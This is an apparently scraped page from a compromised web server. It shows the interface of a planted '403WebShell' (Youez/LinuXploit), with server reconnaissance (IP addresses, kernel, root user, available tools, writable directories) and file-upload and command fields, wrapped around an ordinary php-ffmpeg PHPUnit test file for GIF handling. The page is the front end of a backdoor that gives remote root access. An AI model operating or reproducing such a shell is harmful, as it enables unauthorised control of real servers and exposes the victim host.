WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.252
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/vendor/php-ffmpeg/php-ffmpeg/tests/Unit/Media/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/vendor/php-ffmpeg/php-ffmpeg/tests/Unit/Media/GifTest.php
<?php

namespace Tests\FFMpeg\Unit\Media;

use FFMpeg\Media\Gif;
use FFMpeg\Coordinate\Dimension;

class GifTest extends AbstractMediaTestCase
{
    public function testGetTimeCode()
    {
        $driver = $this->getFFMpegDriverMock();
        $ffprobe = $this->getFFProbeMock();
        $timecode = $this->getTimeCodeMock();
        $dimension = $this->getDimensionMock();

        $gif = new Gif($this->getVideoMock(__FILE__), $driver, $ffprobe, $timecode, $dimension);
        $this->assertSame($timecode, $gif->getTimeCode());
    }

    public function testGetDimension()
    {
        $driver = $this->getFFMpegDriverMock();
        $ffprobe = $this->getFFProbeMock();
        $timecode = $this->getTimeCodeMock();
        $dimension = $this->getDimensionMock();

        $gif = new Gif($this->getVideoMock(__FILE__), $driver, $ffprobe, $timecode, $dimension);
        $this->assertSame($dimension, $gif->getDimension());
    }

    public function testFiltersReturnFilters()
    {
        $driver = $this->getFFMpegDriverMock();
        $ffprobe = $this->getFFProbeMock();
        $timecode = $this->getTimeCodeMock();
        $dimension = $this->getDimensionMock();

        $gif = new Gif($this->getVideoMock(__FILE__), $driver, $ffprobe, $timecode, $dimension);
        $this->assertInstanceOf('FFMpeg\Filters\Gif\GifFilters', $gif->filters());
    }

    public function testAddFiltersAddsAFilter()
    {
        $driver = $this->getFFMpegDriverMock();
        $ffprobe = $this->getFFProbeMock();
        $timecode = $this->getTimeCodeMock();
        $dimension = $this->getDimensionMock();

        $filters = $this->getMockBuilder('FFMpeg\Filters\FiltersCollection')
            ->disableOriginalConstructor()
            ->getMock();

        $filter = $this->getMock('FFMpeg\Filters\Gif\GifFilterInterface');

        $filters->expects($this->once())
            ->method('add')
            ->with($filter);

        $gif = new Gif($this->getVideoMock(__FILE__), $driver, $ffprobe, $timecode, $dimension);
        $gif->setFiltersCollection($filters);
        $gif->addFilter($filter);
    }

    /**
     * @dataProvider provideSaveOptions
     */
    public function testSave($dimension, $duration, $commands)
    {
        $driver = $this->getFFMpegDriverMock();
        $ffprobe = $this->getFFProbeMock();
        $timecode = $this->getTimeCodeMock();

        $timecode->expects($this->once())
            ->method('__toString')
            ->will($this->returnValue('timecode'));

        $pathfile = '/target/destination';

        array_push($commands, $pathfile);

        $driver->expects($this->once())
            ->method('command')
            ->with($commands);

        $gif = new Gif($this->getVideoMock(__FILE__), $driver, $ffprobe, $timecode, $dimension, $duration);
        $this->assertSame($gif, $gif->save($pathfile));
    }

    public function provideSaveOptions()
    {
        return array(
            array(
                new Dimension(320, 240), 3,
                array(
                    '-ss', 'timecode',
                    '-t', '3',
                    '-i', __FILE__,
                    '-vf',
                    'scale=320:-1', '-gifflags',
                    '+transdiff', '-y'
                ),
            ),
            array(
                new Dimension(320, 240), null,
                array(
                    '-ss', 'timecode',
                    '-i', __FILE__,
                    '-vf',
                    'scale=320:-1', '-gifflags',
                    '+transdiff', '-y'
                )
            ),
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit